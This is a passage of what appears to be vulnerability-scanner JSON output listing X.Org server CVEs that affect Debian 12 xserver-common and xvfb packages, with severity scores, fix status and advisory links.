"https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/0d1b1b0bad86c9ea2a3b7ca5a70e681dc69f1ecc", "https://linux.oracle.com/cve/CVE-2026-88812.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-88812", "https://www.cve.org/CVERecord?id=CVE-2026-88812" ], "PublishedDate": "2026-10-27T18:17:38.12Z", "LastModifiedDate": "2026-11-04T21:18:15.38Z" }, { "VulnerabilityID": "CVE-2026-93516", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93516", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71cf5d554e879509fc6490b0c65d2f1274e2ec6e36d64552ec71ab5cb3f4dd4a", "Title": "xorg-x11-server: xorg-x11-server: Arbitrary code execution via use-after-free in passive grab handling", "Description": "A use-after-free caused by lack of lifecycle management when adding / removing XInput master devices in X.org X Server before 21.1.25 and XWayland before 24.1.14 could be used by authenticated X Clients to crash the X server or potentially execute code in X server context.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-93516", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/be572634158850fff4e9829cee88db08d30c9743", "https://linux.oracle.com/cve/CVE-2026-93516.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93516", "https://www.cve.org/CVERecord?id=CVE-2026-93516" ], "PublishedDate": "2026-10-28T13:17:29.237Z", "LastModifiedDate": "2026-11-06T19:18:01.857Z" }, { "VulnerabilityID": "CVE-2026-93521", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93521", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:929912977356726130dd87d8a209a832723d266f9492670293fb9d7a233bc417", "Title": "xorg-x11-server: xorg-x11-server: Privilege escalation via crafted RandR provider property requests", "Description": "A buffer overflow in RandR\nChangeProviderProperty requests in X.Org X Server before 2.1.25 and XWayland before 24.4.14 could be used by authenticated X clients to crash or execute code within the X server context.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-93521", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/5dc9efd5a199717b53f70b9c6cd336a522370e46", "https://linux.oracle.com/cve/CVE-2026-93521.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93521", "https://www.cve.org/CVERecord?id=CVE-2026-93521" ], "PublishedDate": "2026-10-28T16:17:10.06Z", "LastModifiedDate": "2026-10-29T15:04:37.187Z" }, { "VulnerabilityID": "CVE-2026-93523", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-93523", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:261ae105b04d8b6294b8c8944be8c63f03802391e9f3287fbfa0b617ca8876a5", "Title": "xorg-x11-server: xorg-x11-server: Out-of-bounds write via unvalidated modifier in ProcXIPassiveUngrabDevice", "Description": "A heap buffer overflow caused by a XIPassiveUngrabDevice request with an out-of-range modifier value in X.Org X Server before 21.1.15 and XWayland before 24.1.14 could be used by authenticated X clients to crash or potentially execute code in X server context.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85193", "https://access.redhat.com/security/cve/CVE-2026-93523", "https://bugzilla.redhat.com/2545161", "https://bugzilla.redhat.com/2545164", "https://bugzilla.redhat.com/2545174", "https://bugzilla.redhat.com/2545177", "https://bugzilla.redhat.com/2545178", "https://bugzilla.redhat.com/2545246", "https://bugzilla.redhat.com/2545860", "https://bugzilla.redhat.com/2545887", "https://bugzilla.redhat.com/2545908", "https://bugzilla.redhat.com/show_bug.cgi?id=2545161", "https://bugzilla.redhat.com/show_bug.cgi?id=2545164", "https://bugzilla.redhat.com/show_bug.cgi?id=2545174", "https://bugzilla.redhat.com/show_bug.cgi?id=2545177", "https://bugzilla.redhat.com/show_bug.cgi?id=2545178", "https://bugzilla.redhat.com/show_bug.cgi?id=2545246", "https://bugzilla.redhat.com/show_bug.cgi?id=2545860", "https://bugzilla.redhat.com/show_bug.cgi?id=2545887", "https://bugzilla.redhat.com/show_bug.cgi?id=2545908", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-88812", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93517", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93519", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93520", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93521", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93522", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93523", "https://errata.almalinux.org/9/ALSA-2026-85193.html", "https://errata.rockylinux.org/RLSA-2026:85193", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/37a1847a60c6799aecf163a5cfa40077a9002675", "https://linux.oracle.com/cve/CVE-2026-93523.html", "https://linux.oracle.com/errata/ELSA-2026-89747.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-93523", "https://www.cve.org/CVERecord?id=CVE-2026-93523" ], "PublishedDate": "2026-10-28T17:18:53.22Z", "LastModifiedDate": "2026-11-07T05:19:02.66Z" }, { "VulnerabilityID": "CVE-2026-34000", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:30a9f8baca44639538f78be8aec60b91c01a46865d07cccf82f5b500c16e82d4", "Title": "xwayland: xorg: X.Org X server: Information disclosure and denial of service via out-of-bounds read in XKB geometry processing.", "Description": "A flaw was found in the X.Org X server. This out-of-bounds read vulnerability in the XKB geometry processing, specifically within the `CheckSetGeom()` and `XkbAddGeomKeyAlias` functions, allows an attacker to read uninitialized or out-of-bounds memory. An attacker with a connection to the X11 server, either locally or remotely, can exploit this without user interaction. This could lead to the disclosure of memory contents or cause a denial of service by crashing the server.", "Severity": "CRITICAL", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 4, "oracle-oval": 3, "redhat": 2, "rocky": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34000", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451107", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/2452022", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451107", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2452022", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34352", "https://errata.almalinux.org/9/ALSA-2026-19342.html", "https://errata.rockylinux.org/RLSA-2026:19342", "https://linux.oracle.com/cve/CVE-2026-34000.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34000", "https://www.cve.org/CVERecord?id=CVE-2026-34000" ], "PublishedDate": "2026-05-05T16:16:11.647Z", "LastModifiedDate": "2026-11-05T21:18:46.6Z" }, { "VulnerabilityID": "CVE-2026-34002", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34002", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61d0e1b868f847098e6e369d8246c3d83519899ad28889c8952d8477518b5cbc", "Title": "xorg: xwayland: X.Org X server: Information disclosure or Denial of Service via out-of-bounds read in XKB modifier map handling", "Description": "A flaw was found in the X.Org X server. This vulnerability, an out-of-bounds read, affects the XKB (X Keyboard Extension) modifier map handling. An attacker with access to the X11 server can exploit this by sending a malformed request, which causes the server to read beyond its intended memory boundaries. This can lead to the exposure of sensitive information or cause the server to crash, resulting in a denial of service.", "Severity": "CRITICAL", "CweIDs": [ "CWE-805" ], "VendorSeverity": { "amazon": 3, "nvd": 4, "oracle-oval": 3, "redhat": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34002", "https://bugzilla.redhat.com/show_bug.cgi?id=2451112", "https://linux.oracle.com/cve/CVE-2026-34002.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34002", "https://www.cve.org/CVERecord?id=CVE-2026-34002" ], "PublishedDate": "2026-05-05T16:16:11.787Z", "LastModifiedDate": "2026-11-05T21:18:46.967Z" }, { "VulnerabilityID": "CVE-2023-5574", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2023-5574", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4ce0bdf606ed5129f4c24ed585655208f59a357bff4b28fdbae177b38957c02d", "Title": "xorg-x11-server: Use-after-free bug in DamageDestroy", "Description": "A use-after-free flaw was found in xorg-x11-server-Xvfb. This issue occurs in Xvfb with a very specific and legacy configuration (a multi-screen setup with multiple protocol screens, also known as Zaphod mode). If the pointer is warped from a screen 1 to a screen 0, a use-after-free issue may be triggered during shutdown or reset of the Xvfb server, allowing for possible escalation of privileges or denial of service.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "cbl-mariner": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2024:2298", "https://access.redhat.com/security/cve/CVE-2023-5574", "https://bugzilla.redhat.com/2244735", "https://bugzilla.redhat.com/2244736", "https://bugzilla.redhat.com/show_bug.cgi?id=2244735", "https://errata.almalinux.org/9/ALSA-2024-2298.html", "https://linux.oracle.com/cve/CVE-2023-5574.html", "https://linux.oracle.com/errata/ELSA-2024-2298.html", "https://lists.x.org/archives/xorg-announce/2023-October/003430.html", "https://nvd.nist.gov/vuln/detail/CVE-2023-5574", "https://security.netapp.com/advisory/ntap-20231130-0004/", "https://www.cve.org/CVERecord?id=CVE-2023-5574" ], "PublishedDate": "2023-10-25T20:15:18.717Z", "LastModifiedDate": "2026-11-04T21:17:25.273Z" }, { "VulnerabilityID": "CVE-2026-33999", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e383798539e627c6b2493b1306056b3740f4acb2852812fb48312edca8940e3c", "Title": "xorg: xwayland: X.Org X server: Denial of Service via integer underflow in XKB compatibility map handling", "Description": "A flaw was found in the X.Org X server. This integer underflow vulnerability, specifically in the XKB compatibility map handling, allows an attacker with local or remote X11 server access to trigger a buffer read overrun. This can lead to memory-safety violations and potentially a denial of service (DoS) or other severe impacts.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10739", "https://access.redhat.com/errata/RHSA-2026:11352", "https://access.redhat.com/errata/RHSA-2026:11369", "https://access.redhat.com/errata/RHSA-2026:11388", "https://access.redhat.com/errata/RHSA-2026:11656", "https://access.redhat.com/errata/RHSA-2026:11692", "https://access.redhat.com/errata/RHSA-2026:13414", "https://access.redhat.com/errata/RHSA-2026:19125", "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:19343", "https://access.redhat.com/errata/RHSA-2026:19344", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-33999", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://errata.almalinux.org/9/ALSA-2026-19344.html", "https://errata.rockylinux.org/RLSA-2026:19344", "https://linux.oracle.com/cve/CVE-2026-33999.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33999", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33999.json", "https://www.cve.org/CVERecord?id=CVE-2026-33999" ], "PublishedDate": "2026-04-23T16:16:24.623Z", "LastModifiedDate": "2026-11-04T23:17:29.05Z" }, { "VulnerabilityID": "CVE-2026-34001", "PkgID": "xvfb@2:21.1.7-3+deb12u11", "PkgName": "xvfb", "PkgIdentifier": { "PURL": "pkg:deb/debian/xvfb@21.1.7-3%2Bdeb12u11?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "c3428f4210942877" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34001", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:21287295978c35857475fdb61ece352e3268442008809fcb0919e462ca5f5bc8", "Title": "xorg: xwayland: X.Org X server: Use-after-free vulnerability leads to server crash and potential memory corruption", "Description": "A flaw was found in the X.Org X server. This use-after-free vulnerability occurs in the XSYNC fence triggering logic, specifically within the miSyncTriggerFence() function. An attacker with access to the X11 server can exploit this without user interaction, leading to a server crash and potentially enabling memory corruption. This could result in a denial of service or further compromise of the system.", "Severity": "HIGH", "CweIDs": [ "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10739", "https://access.redhat.com/errata/RHSA-2026:11352", "https://access.redhat.com/errata/RHSA-2026:11369", "https://access.redhat.com/errata/RHSA-2026:11388", "https://access.redhat.com/errata/RHSA-2026:11656", "https://access.redhat.com/errata/RHSA-2026:11692", "https://access.redhat.com/errata/RHSA-2026:13414", "https://access.redhat.com/errata/RHSA-2026:19125", "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:19343", "https://access.redhat.com/errata/RHSA-2026:19344", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", 